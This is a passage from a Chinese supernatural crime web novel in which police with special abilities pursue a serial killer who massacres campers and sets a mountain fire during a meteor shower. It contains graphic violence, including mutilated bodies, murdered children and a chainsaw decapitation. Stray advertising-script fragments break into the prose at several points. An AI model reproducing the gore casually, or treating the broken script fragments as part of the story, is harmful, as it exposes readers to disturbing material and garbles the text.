虽说以前她是个坚定的唯物主义者,相信科学,可如今面对反派即将展开杀人计划但她们无从防范的境地,她也忍不住迷信起来,幻想着这可能会是什么预兆。 毕竟都有系统和异能这些超自然东西存在了,还有什么不可能的。 左眼跳财,一定是左眼跳财,吉兆。 左眼跳财左眼跳财左眼跳财左眼跳财…… 燕逸岫一个劲催眠自己,希望也能催眠老天。 不求有财,但愿民众无灾。 姜韫将档案放回原处,拿上自己的东西,和警员们打了招呼后准备回家。 因为发生过反派黑入系统的情况,安在大厅的播报芯片已经被销毁,换成安保系统更强的最新款。 离开警局后,她没有打车,而是沿着街道散会儿步,边整理脑海中堆积的杂乱思绪。 今晚街上人有些少,走了几分钟到桥边时,姜韫注意到一群人聚集在这儿,说说笑笑,好不热闹。 见她们都抬头望天,姜韫想起刚才警局大厅也有播报。 今晚有一场流星雨。 正逢周末,许多人结伴爬山露营,去山上欣赏和记录特殊天象。 “流星雨……”姜韫喃喃自语。 鲜血,滋养万物,火,烧毁邪祟。 流星雨,露营,山,树,人。 姜韫猛然抬头,望向远处融入夜色的山,出声询问系统:“今晚大部分人都去了哪座山?” 47. 七月之火:幸存者 灌进口鼻里的是冷冽的草木清香,呼出来的是灼烫的血腥气。 黑暗中的树如道道鬼影,随着奔跑在视线中摇摆晃动,像黄泉引路者般招手,为濒死之人指引方向。 卫崧捂着伤跌跌撞撞穿梭于树林间,眼前一片模糊,头脑也一片模糊,自己也不知道自己在往哪里跑。 再快一点,再快一点。 他的心剧烈跳动,几乎要破出胸膛先他一步逃走。 混着汗与泪的血不断从脸颊流下,颠簸着飞出去,砸碎于花草丛之中,留下可循的印记。 在他背后不远处,另一道人影好整以暇地跟上来,欣赏猎物的垂死挣扎。 枪声摧毁山间寂静,无数鸟惊慌扑棱翅膀飞走,离开高山。 沃郁山是A省最高的山,也算是一处旅游胜地,位于天泊区。 目前尚不确定反派的计划是不是如她所想,也得预防反派声东击西,所以姜韫联系了外勤组成员后,只带领一小部分警员先去探情况。 燕逸岫本在川城,接到姜韫发出的消息后立刻出发,和家住天极区的秦观秋差不多同时到达。 “欸?那是什么?” “是异象!今晚不仅有流星雨,还有红月亮!” “红月亮……等等,不对吧?” “那是……” “要命,着火了、是着火了啊!” “快叫消防!” 围在桥边等流星的人群顿时骚动起来,有些人着急忙慌打电话报消防和报警,有些人则打开“宙”,将镜头对准江对岸的高山,开始录像。 山尖处冒出隐隐橙红光芒,如日落残晖。 姜韫刚放飞无人机就接到通知,确定了这座山就是反派下手的地方。 一行人立刻驱车往山上冲。 夏季的山火,后果会有多严重可想而知。 “巡查机能看到什么?”秦观秋拉着燕逸岫上车,还没坐稳就探身询问姜韫。 “正在升空寻找。” 见这一面无异常,姜韫操纵无人机转向山的另一边寻找。 当一处平地出现在屏幕里时,所有人都屏住呼吸,脊背发凉。 靠近山顶处的一片区域,树木被砍伐移走,变成光秃秃一块,形成火焰烧不进来的隔绝地段。 平地上满是浓稠的血,血上是断肢。 无数断肢。 所有残尸头尾相连,拼成一个巨大的圆圈和安睡其中的婴儿。 它安安静静泡在血中,睡在山与风里,被明亮火焰的温暖包裹着。 在巨大的作案标志旁,还摆着一个小小的笑脸。 姜韫看清那是什么后,咬牙别开脸,眼中怒意汹涌。 那是六个年幼孩童的尸体。 秦观秋也攥紧拳头,胳膊上青筋暴起,只挤出一句:“这个疯子……” “今晚上山的人不止这些,说不定还有幸存者,”姜韫竭力按下情绪保持镇定,“马上联系各区警方增援,封锁下山道路,派出所有飞行机器人在各高度巡空。” 火点起不久,地面的血迹仍然湿润,以及还有不知所踪的其余游客,说明反派大概率还在山里。 “居然被猜到了,来得真早,”他站在山崖边上,望着底下闪烁的警灯,反倒笑了起来,边把弹匣填满,“来都来了,那就好好感受感受这场因你们而起的大火吧。” 接近山顶后,燕逸岫等人下车分头行动,爬上杂草丛生的山坡钻进树林中开始寻找。 火势太大,浓烟滚滚遮蔽万物,无法用热成像探查幸存者分布在哪里,只能抓紧时间进入山中寻找。 夜晚昏暗,视野受限,范围又是一整座山,搜索难度极高。 燕逸岫凭着听力和嗅觉感知四周,靠直觉选择方向往深处走,祈祷着能碰到活人。 在哪?在哪?在哪? 火势一旦飞速蔓延,幸存者一个都跑不掉,逃不出必死的命运。 燕逸岫暗恨自己早没想到。 明明新闻中提到过两三次流星雨,她却从没放在心上。 如果她早预料到的话,就不会有这么多人遇难了。 一开始自责,燕逸岫耳中就充斥着自己的心跳声呼吸声和脚步声,根本顾不及周遭。 她甩甩头强压情绪,收起杂念,让自己尽快冷静下来。 还能弥补,还来得及。 “流星,流星来了!” 从各处跑来观察山火情况的民众纷纷惊呼,原本对着山的各个摄像头又转向高空。 零零散散的流星从夜幕中出现,转瞬即逝,像开场预告。 不一会儿,数十道流星拖着长尾划过天际,浩浩荡荡从辽阔夜空飞过,最终消失在沃郁山后,宛如坠入火海,让火燃得更盛。 曾琼瑾陪纪繁在学校操场散步,听她兴奋地欢呼,和她一起许愿。 梁羲瑞将相框放在茶几上,擦去上面的几点细小灰尘,笑着望向天空,和妈妈一起在阳台观星。 康珽叶窝在新家里整理旅游带回来的纪念品,哼着歌挨个摆好,时不时瞟一眼窗外风景。 石见微抱着石现来到楼顶,小姑娘指着天空絮絮叨叨,她眼里都是星星,石见微眼里都是她。 彭嵘凑进聚在走廊的同学堆里,也看看流星权当放松,但她很快就没了兴趣,返回自习室里继续学习。 虞瓷靠在咖啡馆门前,收看对面大屏幕上直播的流星雨盛况,眼中映着流动的光芒。她从口袋里掏出小盒子,伸手打算扔进垃圾桶里,但动作又停在半空中凝固不动,最后还是收回了手。 昆隐棋站在窗边,身旁留出一半空位,她静静注视着流星,双手交握在胸前,许了一个从未改变的愿望。许完愿后,她偏头看向身旁的空荡荡,浮出一丝惆怅笑意。 正在尾随卫崧的黑影也停下脚步,昂首望天,眉头微动。 一条条银龙般的流星从浓雾间隙露出的一角夜空中飞速滑走。 他将枪放在地上,闭眼郑重许愿。 十秒后,他放下手,眼中冷意亦如流星一闪而过。 他重新拿起枪,吹去上面的土粒,顺着地上的血滴痕迹继续寻找还没杀完的幸存者们。 燕逸岫完全没发现天上有流星,她的目光始终徘徊于前方。 一无所获。已经过去十分钟了,她什么都没找到。 十分钟的工夫,大火乘着热风,足以烧穿山头。 来不及了,来不及了。 燕逸岫死死咬着嘴唇,憋着一口气不停地往上走,眼底浮出一层浅浅的湿润。 她救不了大家。 她不敢想象有多少人死在火海里了。 为什么听不见远方的呼救声?为什么看不清山林深处的光景?为什么闻不到不同的气味? 她的技能在此时完全派不上用场,显得弱小可笑。 火未烧至,但刺鼻的烟气已经沉了下来笼罩周遭,雾蒙蒙的,让人更加看不清。 燕逸岫没有戴防护面具,加上不停狂奔,呼吸剧烈,大口吸进了不少毒气。 她扶住一棵树弯腰咳嗽,眼睛也被熏得生疼,刺痛不已,随着拼命咳嗽挤出两滴泪,几乎睁不开眼。 她手掌贴着的树也升起不正常的温度,不知道是因为烟雾萦绕,还是烧灼的热气从土地中和万千交错的树根中传了过来。 树叶随风摇动,像有灵魂而感受得到炙烤痛楚般哭泣挣扎。 燕逸岫已经有些脱力了,倚着树干缓慢单膝跪地,大口喘着气。 她救不了人,也救不了树。 她好没用。 我好没用我好没用我好没用我好没用我好没用我好没用…… 燕逸岫心里重复着这句话,边不受控制地咳嗽,莫名开始的尖锐耳鸣刺着她的大脑。 不管怎样,还是得继续寻找,还不到放弃的时候。 燕逸岫刚抬起头,吸到一口烟后又伏下去狂咳。 耳鸣声很快淡去,另一阵清晰的声音在她耳边响起。 是微系统的声音。 “破暗行动队员燕逸岫,【五感】100,已满级,觉醒异能【八方】。” 燕逸岫又撕心裂肺地咳了几声,喉咙也像被灼烧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 般疼痛。 她在黑烟中直起腰,艰难地睁开布满红血丝的眼睛,鼻尖动了动。 她闻到了。 她闻到呛人烟味中的血腥味,闻到最浓的血腥味是从哪个方向飘来。 原本细碎的声响也逐渐放大,清清楚楚地从四面八方传进耳朵里。 劈里啪啦的火烧声,风火共舞声,鸟兽逃离火场的振翅声和奔跑声,远处姜韫等人的说话声,还有…… 还有一道虚浮混乱的脚步声,不同于姜韫等人,很陌生,听得出十分惊慌。 在上面,还有段距离。 是幸存者? 燕逸岫打起精神,将呼吸调整到最慢,降低毒烟吸入量,又拧自己胳膊一把让头脑清醒些,起身朝着声音方向追去。 来得及,还来得及,她还能做些什么。 “火已经烧下来了,注意防护。” “消防人员需要增派,快再从其它区调来,风太大了,火势控制不住。” “所有人保持联系!注意风向!” 火光照亮天际,警鸣声响彻天泊区。 正带着几名警员搜寻这片区域的谭誉道听到奇怪的窸窣声响,立刻转身将手电筒照过去。 一个满身是血的人摇摇晃晃从树林中跑出来。 脸上的血流进眼中,酸涩刺痛,眼前更加模糊。 一束光猛地打到他跟前,卫崧揉揉眼睛,努力看清环境。 山坡下有几个人影。 卫崧以为她们也是登山露营的游客,惊讶过后立刻用力挥着血淋淋的胳膊示意,嘶声喊道:“快逃啊——” 然而,那些人循声望向他后,反倒全都朝他奔来。 卫崧愣住,以为她们没听清,再次用尽力气呼喊:“有杀人犯,别过来!快跑啊!快下山!” 但那群人仿佛没听到,脚步不停地朝他冲来,似乎在说什么,但他意识昏沉,分辨不出了。 “别过来啊!” 怎么会这样? 卫崧绝望至极,眼中又涌出泪水,恨不得跪下来求她们不要靠近,他不想再看见有人死在自己面前了。 不行……这群人都会没命的,他不该往这儿跑,他不该出声吸引大家注意力的。 凶手目标是他,他看见了杀人犯的容貌,必死无疑,他不能连累别人。 卫崧想到这儿,决定原路返回,朝凶手追袭的方向而去,在一切还来得及之前。 只要自己被杀,后面的人听到枪声,明白林中真的有危险,就会抓紧时间逃跑了。 于是他再次钻进幽暗的林子里消失了。 “什么情况?怎么看见警察还跑?”谭誉道心急如焚,边追上去边朝联络芯片大喊,“疑似幸存者出现。” 卫崧记不清自己是从哪里逃出来的了,但他知道只要往里跑,迟早会碰上那个恶魔。 不一会儿,他停下脚步,身体摇晃几乎要摔倒。 不用跑了。 他已经感受到那股悚然的存在了。 卫崧听见踩断树枝的声音从身后传来,接着自己就被一道力往后扯。 即使已经做好心理准备,他的心脏仍然瞬间停了半拍,大脑空白。 ……就要结束了吗? 他要死了吗? 后面的登山游客最后能逃得掉吗?她们也会被…… 天旋地转中,他似乎瞥见一双眼睛,瞥见那漆黑瞳孔中亮起诡异的暗红幽光。 “砰!” 巨大声响在耳边炸开,不由分说将他的思绪拉回现实,致使他回光返照似的彻底清醒。 燕逸岫把人拽到身旁,偏离对方枪口方向,先一步朝藏匿在远处树后的人影开枪。 卫崧堪堪扶住她的胳膊站稳,被这突发情况吓懵。 “没事了,别怕。” 燕逸岫把他的头按在自己肩前,用沾了血的手捂住他无保护的另一只耳朵。 有温度的血和心脏的跳动声,活人的体征令她感到宽慰。 “我们是来救你的。” 第二声枪响在林间回荡,散至天际。 48. 七月之火:疯火 接着燕逸岫马上拖着人后退钻进林中,借树遮挡躲开对方攻击。 燕逸岫刚一拐弯,两颗子弹就打进树干里。 她要护着受伤的幸存者,暂时不与对方起正面冲突为好。 离得较近的秦观秋听到声音,立刻询问什么情况。 “是我开枪,已经找到一名幸存者了,伤势很重,失血过多,麻烦医护人员准备一下。” 燕逸岫发出自己的定位让她们找来,再将自己听到的凶手脚步声移动方向告知大家。 边汇报情况,她半拽半抱单手把幸存者扶到草丛里坐下休息。 血腥味浓郁得比毒烟还让人窒息,不用检查就估得出对方是什么情况。 “你是什么血型?”燕逸岫凑到他耳边大声问。 卫崧觉得面前警察的声音有些飘渺遥远,近距离的枪声轰鸣令他头晕。 “O型……” 燕逸岫马上转给警员传达,让医院提前备足血。 “你坐着别动,搜救人员马上到了,会带你去医院,你尽量撑住,没问题吧?”燕逸岫问着,又谨慎地抓起他的两只手闻了闻。 没有硝烟味,不过也无法完全断定他不是参与者之一。 卫崧隐隐约约听清她的话,费力点头,以此展示自己状况还好。 燕逸岫不放心让幸存者独留原地,便守在他身旁,仔细注意着四周的动静。 觉醒了异能后,即使只是一丝丝的空气,她都能辨别得出混杂其中的不同气味,所以燕逸岫又戴上了口罩遮遮才去寻人,免得还没救出谁来自己先被毒烟呛死在山里。 两人现在正好位于通风处,确认了目前暂时安全,燕逸岫扯下面罩吸几口比较新鲜的空气,还是觉得喉咙火辣辣的。 不一会儿两辆车就从主山路驶到她们附近,燕逸岫亮起手电筒示意具体位置。 搜救队爬上山坡来到两人面前,就地进行简单止血处理伤势。 把活的人交给救援队,燕逸岫放心下来,准备出发去追凶手。 她从救援人员手中接过多备的火场专用防护面罩,道谢后戴上。 数道亮白的灯光在四周晃动,其中一束光打到燕逸岫脸上,照清了她的面容和冷峻神色。 还发晕的卫崧仰着脑袋靠在树上,略微涣散的目光无意识滑过去,正巧瞧见了。 他顿时惊怔,几乎要鲤鱼打挺坐直起来:“你……你不是那天的……原来你是警察?” “哎哎哎别乱动。”医护人员连忙把他按回去。 闻言,燕逸岫诧异又好奇,低头瞥了眼卫崧的面孔。 认识的人? 对方满脸是血和泪痕,还糊着一片片泥土和草根,燕逸岫根本看不清对方的长相。 她只当是幸存者意识不清认错人了,便没出声回答什么,摆摆手转身往树林里走,继续追那个可能是反派的黑影。 卫崧愣愣目送她远去,沉浸在惊讶之中,一时半会儿连身上的痛楚都感觉不到。 一阵风吹过,耳朵上未干的血迹凉意蔓延。 “找到一名幸存者,伤不算太严重,但精神状况很糟,不肯跟我离开,一拉扯就大喊大哭,我怕声音引来凶手,不敢再碰,需要多派几人来帮忙带走。” 温簌通过芯片联络大家,背景里的抽泣声断断续续。 “好,已经有一组增援朝你的定位赶去了。” 姜韫回复完,切换到微系统单独提醒队友们:“大家多加小心,凶手可能会假扮成幸存者或救援人员混入人群一起离山脱身。” “救援人员这边,我已经请示局长,她额外安排了一队警员守在山下核查,我们主要负责幸存者,救援的同时不要对幸存者放松警惕。” “别忘记我们的推测,如果凶手真有特殊能力,他说不定会顶替某位死者,毕竟我们现在还无法靠近火场里的尸体确认身份。” “好,大家保持联系。” 空中的无人机已经按照规划线路往山中浇完火油燃料,设好防火隔离带,以此将大火范围控制住。 燕逸岫循着硝烟味和脚步声判断反派可能在哪个方向,冒着被烧伤的风险穿过隔离带的翻滚烈火,一步步靠近山顶。 越往上走,浓雾越重,看不清有什么潜藏在暗处。 好在听力和嗅觉还能发挥作用,为她排除危险。 燕逸岫摸索着穿过这片无风地段的浓雾区,最后走到一个黑影面前。 “禁止通行。” 燕逸岫被守在此地的一名消防机器人拦下。 “再往上是靠近火源的燃烧区,十分危险,非消防队人员不能深入。” 燕逸岫接过机器人塞来的崭新防护面罩,询问在她之前还有没有人来过。 “刚才有位消防人员进去救人了。” 燕逸岫眉头紧皱。 不对,应该是反派。 “那个恐怕是凶手假扮的,我得去追。”燕逸岫三两下捂上面罩,迈步准备跟上。 但机器人严严实实挡在她身前,她往哪儿移它也往哪儿移,长长的机械臂横在两侧。 “你没有穿耐火防护服,不能进去,我得对你们的安全负责。” 好不容易接近了反派,有可能逮住他,她怎么可能轻易放弃追踪,放跑那个混球? 燕逸岫眯起眼笑,边点头:“好,好,我不进去……” 她后退两步做个假动作,下一刻又猛地往前冲,化身为灵活的猹,将身一扭,反从机器人胳膊底下逃走了。 “报告!有人员无视警告强闯火场!”见没拦住,机器人立刻将情况上报总管。 燕逸岫飞快溜进去,紧随其后对着屏幕主动交代:“是我!凶手往里面跑了,我得去追,我会小心的。” 在山另一边的姜韫仰头,冲天火光将她的脸微微照亮。 “逸岫,你……” 姜韫本打算阻止,但想起燕逸岫坚定的声音,最后只缓了语气说道:“注意安全,火势太大就撤退,不要冒险,我多调几个消防机器人去协助你,定位不要断。” “明白。” 他踩着发烫的土地,听着噼里啪啦的悦耳焚烧声,信步走在燃烧中的树林里,完全不受大火影响。 还有几个游客被绑在山崖边,正好处理掉一部分,然后混进大部队里离开。 正盘算着这些,一截烧断的粗树枝被火包裹着掉落,朝他的头砸来。 他立刻侧身躲开。 也正是这时,一颗子弹击穿半空中的树枝,携细碎火星钉进他的手腕骨头里。 从未感受过的剧痛传至四肢百骸,他瞬间瞳孔震颤,一时间不敢相信发生了什么。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 另一边的燕逸岫则恼恨地啧声,牙齿咬得咯咯作响。 她明明瞄准了他的腿,本打算让他受伤,限制他的行动,再把人活捉回去审讯。 但偏是在这紧要关头,他居然因为树枝躲开了。 这疯子的运气是不是太好了点? 他在中弹后马上闪身躲到最近的树后,也来不及检查手腕上的血洞,顺着子弹飞来方向抬头望去,举起了枪迎敌。 四周都是燃烧的树,怎么还会有敌方在?他怎么没察觉到? 前方不远处,又是一团烧毁的树枝断裂坠落,露出了藏在里面的人。 那道黑影蹲坐在树枝上,毫不在意不断逼近的熊熊燃焰,静静埋伏在高处等他靠近。 又是她。 那个雨中的鬼影,那个高塔上的狙击手,那个无畏与他对视的敌人,而这回她眼中是真真切切映着火光。 这个疯子…… 居然为了不被发觉而躲在火海里的树上,也不怕被烧死。 他万分诧异,旋即嘴角动了动往上扯,难以抑制地哼出低低的笑声,眼中光芒更亮,仿佛也点起了火星。 她又为了什么而不顾生死拼命至此? 那群异世界的人,究竟生活在什么环境,能炼就出这样的性情? 疯子好啊,都是疯子,可以期待以后会有多少刺激的交锋较量。 这样才有意思。 这没救的世界上就该多点疯人,才会热闹有趣。 在树上埋伏只适合一击制胜,并不便于防御躲避。 偷袭失败,加上位置暴露,燕逸岫只能马上翻到树干后跳回地面,以免对方反击,而且火确实快烧到她身上了,烫得后背一片刺痛。 一两秒的工夫,反派已经消失在火海里了,再次不见踪影。 燕逸岫半扯下面罩,惩罚自己似的深吸一口浓烟,越想越觉得咽不下这口气。 虽然每个人都有走运和倒霉的时候,但反派的好运总是让人忍不住怨恨老天不开眼,为什么要对恶人偏心。 或许是她倒霉吧,不该选择这棵树,也不该瞄准腿的。 但瞄准脑袋的话,他那一躲,子弹就根本伤不到他了,连线索都难留。 燕逸岫抛远杂念握紧枪,循着烟中血味跟上去,打开屏幕及时汇报进展。 “嫌疑犯左手腕中枪,大家注意辨别。” 费劲地穿过一丛丛炙热的火,四周总算开阔了些,燕逸岫揉揉酸痛的眼睛继续往前,边回复姜韫的询问报平安。 “怎么回事?” “火越来越大了……” “快醒醒……怎么办他快不行了……” “救命……救命啊……” 燕逸岫听见不远处忽然冒出一阵说话声和咳嗽声,乱糟糟混在一起,大约有五六人。 是幸存者。燕逸岫振奋精神,加快速度朝声音来源处跑去。 还没跑多久,她跨过草丛时不慎踩到了什么坚硬的东西,差点打滑摔倒。 燕逸岫扶着树稳住身体后低头查看,把飞出去半米远的东西捡起来。 是一把手枪,里面剩了几发子弹没用,硝烟味还未全部散尽。 握着冰冷沉重的枪,燕逸岫的心也骤然一凉,晃悠悠往下坠。 麻烦了,反派已经混进人群里了。 49. 七月之火:假面 燕逸岫倒出所有子弹,这把证物手枪塞进裤口袋里,戴好口罩遮挡面容,继续往前。 当幸存者映入眼帘时,燕逸岫脚步停顿,不知该以什么表情面对现在的场景。 数名幸存者用胳膊肘撑着土地,艰难地往前爬行,两条软绵绵的腿完全使不上力。 在昏暗中凭身形来判断,有大人有小孩。 唯一一个孩子没有像其她人这样试图逃出去,而是静静坐在树下垂着头,不知道是死是活。 当幸存者目睹燕逸岫从林中走出来到跟前,她们纷纷发出凄厉惊叫,又见鬼似的拖着腿费力往回爬。 有两个离山崖近的,甚至毅然朝那儿爬去,打算跳崖一死了之。 “我是警察!”燕逸岫连忙喊道,打开屏幕出示搜救批准证明,“我是来救你们的,别怕,快回来,我是来救人的。” 见那两人迟疑地停下动作,燕逸岫绷紧的弦才松了一点。 她打开手电筒照一圈,迅速扫视每张脏兮兮的惊恐面容,余光则落在众人的手腕上。 一共七个人,身上也遍布血痕,但看得出手腕都没有枪伤。 脚步声消失,说明反派确实是停下来了,但却好像不在这其中。 难道他的替换能力能把自己的伤口都遮住? 燕逸岫眉头一压,沉默片刻后先发送定位联系救援人员来帮忙。 她故意大声汇报情况,让幸存者们听到通讯另一头的回复,便能打消顾虑,能够更信任她些。 做完这些,她大步来到树下看看小女孩的情况。 十来岁左右的年纪,大约因为伤得太重,脸和嘴唇毫无血色,凌乱黑发被血打湿,蜘蛛丝般黏在脖子上。 她半垂着眼,一动不动。 燕逸岫蹲在她面前,听着她的心跳和轻缓呼吸。 “妹妹,你还撑得住吗?” 对方仍然不动,仿佛没听见。 “我之前学医的,让我看看情况好吗?”燕逸岫张口就胡诌,“别怕别怕,我不会伤害你。” 她轻声细语说着,打开手电筒检查小孩身上的伤口,假装不经意地拿起她交叠捂在腹部的两边胳膊移到身侧放好,检查是否还有其它伤口。 小女孩始终没有反应,睫毛都不颤一下,像个没有灵魂的木偶,任由燕逸岫摆弄。 似乎不是她,燕逸岫收回手,心里暗想。 她独自一人坐在这儿,没有人陪,大概率是家人都遇害了。 燕逸岫有些不忍开口,于是转头询问其她人发生了什么。 在大家你一言我一语中,燕逸岫拼凑出大体情况。 她们一群人没有跟随大队伍去山顶最佳观星位置,而是打算自己找宽阔偏僻的地方,所以她们几组人碰巧都聚集到这附近,各自准备露营。 谁也想不起、不明白这场惨剧是怎么开始的,只记得和自己一起的家人朋友上一秒还笑吟吟的,忽然间就变得血淋淋的,拼最后的力气把她们推远,嘶吼着让她们快跑。 但她们也没跑多远,就眼睁睁看着凶手就像鬼魅似的忽然出现在面前,挥起锋利长刀。 之后便是头昏脑胀,陷入黑暗,清醒过来后发现自己和周围这几人被拖到山崖边,浑身伤口剧痛,双腿更是痛得让人几度昏迷。 凶手为了防止她们逃跑,直接把她们的腿都打断了。 她们醒来时凶手不在,对方也没有留下只言片语,但其意图已经十分明显。 被火烧死还是跳崖坠亡还是祈祷救援能及时出现,凶手把生死选择交给她们自己,任凭她们自我纠结折磨,做出可能是这辈子的最后一个决定。 有个人在半分钟之前做出了不同选择,他爬到崖边,一头栽下去,说得去陪黄泉路上的爸爸妈妈。 其她人都还抱有希望,决定等一等救援,等火真烧到面前,实在无路可退了,再绝望赴死。 燕逸岫神色凝重,认真倾听她们的描述,边仔细观察这几人的行为举止。 要怎么判断哪个人是反派假扮的? 每个人身上都充满血腥气,不好分辨。她又不能挨个碰别人的断腿来判断谁是装的。 守在燃烧区工作的消防机器人最先循着定位到达,开始扑灭这附近的火保护幸存者们,让她们能安心等待增援前来。 火灭了一半左右,救援人员匆匆到达,将每位伤者小心翼翼抬上担架,陆续送下山接受治疗。 燕逸岫抓住机会凑上去帮忙,挨个扶起幸存者,实则偷偷按在对方的左手腕试探。 然而所有人神色都没有发生什么变化,她也没摸到有伤口存在。 燕逸岫眯眼皱眉,想不明白。 这时一阵撕心裂肺的哭声忽然破空而出。 “小心!” 燕逸岫回头,只见那个小女孩哭喊着妈妈,手指抠着土石往崖边爬。 因为受到太严重的精神打击,起初处于浑浑噩噩大脑空白的状态,这会儿自己得救了,才深切意识到家人再也回不来了,只剩自己一个人活在世上。 燕逸岫立刻冲过去揪她的衣摆将人拉回,差点自己没刹住飞出去。 几个救援人员赶紧把她放到担架上,先带她离山就医。 还没被带走的两个幸存者对视,压低声音告诉燕逸岫:“那是露营帐篷扎在在我们之间的一户人家,父母很亲切,可惜了……” “唉,这么小就没了父母,以后可怎么办啊……” 哭声逐渐远去。 几点冰凉凉的水落在脸上和肩上。 下雨了。 防火线已经烧断,成功圈出限制范围阻止火势扩散蔓延,于是警方紧接着安排人工降雨,提高效率扑灭山火。 几滴细小雨水出现意思意思提醒大家后,便是大雨骤降。 沉重雨水哗哗倒下来,将烟和火扑压下去,天地之间一片灰白。 燕逸岫随着最后一批搜救队员下山,到主路口集合。 几名队友已经先一步下山了,正站在主路口等她,燕逸岫赶紧来到她们身边,一行人边讨论边往前走。 走着走着,燕逸岫忽觉哪里不对,又后退几步。 于是坐在救护车里输血的卫崧重新进入她的视野。 他脸上和胳膊上的血污已经被大致擦去,露出道道狰狞的划伤擦伤,红白相间。 大概是衣服和皮肉黏在一起不好处理,他的短袖被剪去一半,露出了缠着几圈纱布的瘦腰,牛仔裤左边裤腿也被剪成短裤,膝盖上方的纱布已经又被血染红了。 他怎么还在这儿?不是早该去医院了吗? 秦观秋看出她的疑惑,凑到她身旁解释:“这个人死活要留下来,不肯去医院,说是自己看到杀人犯的脸了,可以帮忙辨认凶手。” “啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,可是他的伤……” “医生用仪器扫描过,腹部和大腿中弹,好在子弹没留在体内,没有太大危险,用特效药暂时稳定住了,其它劈砍伤没有伤及内脏,万幸。” 燕逸岫边抹着脸颊嘴角,擦去湿漉漉的黑灰,含糊不清说道:“可反派估计是以假身份露面,或者又换了张脸,他在这儿恐怕也是白等,拖久了伤更重怎么办?不劝劝吗?” 姜韫叹气,朝陆续被搬下来的尸体看去:“他想帮忙就让他待着吧,也算是给他自己一点安慰。” “因为……他眼睁睁看着父母在自己跟前被凶手肢解了。” 燕逸岫心一紧,目光不由瞥过去,不知道该接什么话。 她瞧见卫崧凝固似的坐在担架上,认真盯着每一个下山的人。 警车灯救护车灯不断旋转闪烁,一遍遍扫过他周身,苍白面容上的泪痕因此闪着细碎微光,但光芒始终映不进他黑深深的眼里。 燕逸岫没再说什么,转身打算继续走。 夜雨带来的清凉夏风吹来,燕逸岫忽然在这股减淡了的血腥味里闻到了残存的一丝面包香气。 怎么好像……有种隐隐熟悉的感觉。 燕逸岫睁大眼,终于想起来了。 第一次出任务跟踪欧徽时,自己还被谨慎的神秘人埋伏,差点暴露。 从小巷里脱身后,她蹲在巷子口的面包店门前,有个满身面包香气的男生和自己说话。 那张模糊的脸和如今坐在不远处的孤零零人影对上了。 难怪他之前会问那样的话。 燕逸岫呆滞,回过神后看向姜韫,犹豫几秒还是开了口。 “队长,我觉得还是要仔细查查他,我见过这个人。” 在她和神秘人无声对峙过后出现的主动搭话的人,而且开的店就在小巷外,如今又卷进和反派有关的事情里。 这是不是有点太巧了? 会不会他就是那个神秘人,当时确实发现她的存在了才再次出现探底? 今天的案子会不会是他和反派一起演的一出戏? 听完她描述的情况,姜韫也回忆起来了,于是她点点头:“好,让怀霖去仔细调查他的背景。” 警员催促救护车开回医院去的时候,卫崧才知道最后一组幸存者已经被解救出来了。 空中无人机探查过几遍,山里除了消防员之外没有别的活人了。 卫崧有些难以置信。 “可是我真的看清了,我记得凶手的长相,”他着急地倾身,又呲牙咧嘴捂住腰上的伤,抓住警员的防护服不肯松手,“她还没出来,她肯定还躲在山里!” 燕逸岫等人沉默站在不远处听着他的话,心中无奈,又无法对他说明实情。 “找个理由把他哄回医院吧,这么拖下去也不是个事儿。”秦观秋说道。 姜韫打开通讯:“让他描述对方凶手长相形成照片,我们会照着相片找,让他先去医院好好养伤。” “我们有进展就会和他联系。” 很快警员就传了一张相片上来。 看到图上人的面容,燕逸岫等人都惊住了,赶紧放大屏幕,确定自己没有眼花。 口头描述让机器人形成的肖像画多少都会与真人有些微偏差,但她们还是认出来了。 相片上的人中分长发披肩,眉眼凌厉,正是昆隐棋的样貌。 50. 七月之火:余烟 “反派逼得更紧了。” 谭誉道眉毛快拧到一起:“如果昆隐棋再不回他身边,他今后就会更光明正大地顶着她的模样去犯案行凶。” “只有我们这些人知道实情,又不能将异能和系统的事情说出去,所有民众都会认定昆隐棋是连环杀人犯。” 这对事业有成并且极其看重自己事业的昆隐棋来说影响极大。 毕竟她在逃亡途中都还不忘管理公司交代公务,姜韫她们不禁怀疑昆隐棋甚至会边逃边顺路去各家分公司视察一遍。 也不知道她是不是被反派抓住什么把柄软肋,即使叛逃被追杀也不肯与警方合作。 之前听过了宋净泉讲述的内容,她们本担心昆隐棋是已经被抓住了才会杳无音信,现在看来她仍然没让反派如愿。 昆隐棋成功逃走了。 反派也已经成功逃走了。 从山上下来的所有人,都没有谁手腕受伤。 如果反派察觉行动组已经怀疑他拥有视觉屏障替换身份的能力,说不定今后又会换别的手段犯案。 所以警方只简单确认了身份信息就让救护车赶紧把幸存者们拉去医院治疗。 每位幸存者有一组警员负责监视看守,理由是怕凶手回头报复。 警方内部人员也都核实确认了没有假冒者,现在只能等排查完所有遇害人员的身份信息才能推测反派是如何脱身的了。 燕逸岫抬头遥望夜空。 流星雨好像已经结束了。 她想许个反派赶紧落网的愿都没办法了。 “那条奇怪的蛇横在中间,脑袋抽搐个不停,大家下课回宿舍都不敢走那条路了,后来叫了保安才把蛇抓走。” 卫崧正在和家里人说着学校的事,忽然间莫名一阵眩晕,他以为自己突然犯了低血糖,摇摇晃晃转身,看到的却是同样倒地的父母。 周围的游客也都陆续栽倒下去。 他来不及张嘴说话,眼前一黑失去意识。 “阿崧……快跑……” “阿崧醒醒,快醒醒……” “快醒过来……你要活下去……” 是妈妈的呼唤,像从遥远的远方飘来。 感受到热水一股股喷溅到脸上,卫崧艰难转醒。 又一道温热液体飞过来,直接溅进他刚睁开的眼睛里,刺痛不已。 尖锐的嘶鸣这会儿才迟钝地钻到耳朵里,分秒不休,穿透大脑。 血腥味浓得令人作呕。 模模糊糊间卫崧看到前方有个人被半拎起来,另一个站着的女人正单手持电锯切下他的头。 断首掉落,咕噜噜滚到他鞋边,正好面朝自己,从脖子里涌出的血顺着他的裤腿蔓延开来。 卫崧与父亲对视。 他与父亲的头颅对视。 明明是恐怖的场景,他却移不开眼,做不出任何反应,脑中空白一片。 浸饱了血的裤腿湿沉沉地贴住了他的小腿,触感像冤死鬼从地里伸出手抓住他,准备往黄泉下拽。 